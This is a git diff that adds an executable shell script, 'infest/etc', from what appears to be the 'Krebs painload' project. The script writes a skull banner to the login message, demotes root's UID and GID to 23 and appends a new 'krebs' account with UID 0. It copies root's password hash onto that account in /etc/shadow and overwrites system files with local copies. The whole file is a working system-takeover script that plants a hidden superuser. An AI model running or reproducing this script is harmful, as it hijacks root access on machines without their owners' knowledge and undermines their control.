diff options
Diffstat (limited to 'infest/etc')
-rwxr-xr-x | infest/etc | 34 |
1 files changed, 34 insertions, 0 deletions
diff --git a/infest/etc b/infest/etc new file mode 100755 index 00000000..0ddf4150 --- /dev/null +++ b/infest/etc @@ -0,0 +1,34 @@ +#! /bin/sh + +cat>/etc/motd.tail<<EOF +KREBS PAINLOAD (MORE COBRA) +[31;1m x x x x + xx xx xx xx xx xx + xx xx xx xx xx xx + xxx x x xxx + x xxxxxxxxxxxx x + xxxxxxxxxxxxxxxx + x xxxxxxxxxxxx x + x x x x x x + x x x x x x[m +EOF + +f=/etc/passwd +sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f +sed -ri '/^krebs/d' $f +echo 'krebs:x:0:0::/root:/bin/bash' >>$f + + +f=/etc/shadow +sed -ri '/^krebs/d' $f +grep root $f | sed 's/^root/krebs/' >> $f + + +f=/etc/group +sed -ri 's^(root:[^:]+):0:(.*)$\1:23:\2' $f +sed -ri '/^krebs/d' $f +echo 'krebs:x:0:' >>$f + +for i in etc/*; do + cat $i > /$i +done |